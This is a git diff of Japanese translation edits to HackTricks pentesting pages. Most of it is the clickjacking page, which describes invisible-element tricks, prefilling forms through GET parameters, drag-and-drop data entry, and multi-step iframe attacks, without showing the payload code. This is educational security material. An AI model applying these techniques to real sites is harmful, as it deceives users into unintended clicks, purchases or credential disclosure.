* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
-今すぐアクセスしてください:
+今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -217,8 +217,8 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
-* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。**
+* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md
index 66d0464e0..a488d8149 100644
--- a/pentesting-web/clickjacking.md
+++ b/pentesting-web/clickjacking.md
@@ -6,33 +6,33 @@
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
-- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
+- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Clickjackingとは
-Clickjacking攻撃では、**ユーザー**が**見えない**か、別の要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
+Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**Webページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果がもたらされる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
### フォームの事前入力トリック
-時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。
+時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。
### ドラッグ&ドロップでフォームにデータを入力
-ユーザーに**フォームに入力してほしい**が、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように依頼して、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように制御されたデータを書き込むことができます。
+ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように求めることで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。
### 基本的なペイロード
```markup
@@ -55,8 +55,6 @@ z-index: 1;
```
### マルチステップペイロード
-
-In this technique, the attacker uses multiple iframes to divide the attack into multiple steps. Each iframe loads a different part of the attack, making it harder for the victim to detect the malicious activity. By splitting the payload into multiple steps, the attacker can bypass certain security mechanisms that may be in place to detect and prevent clickjacking attacks.
```markup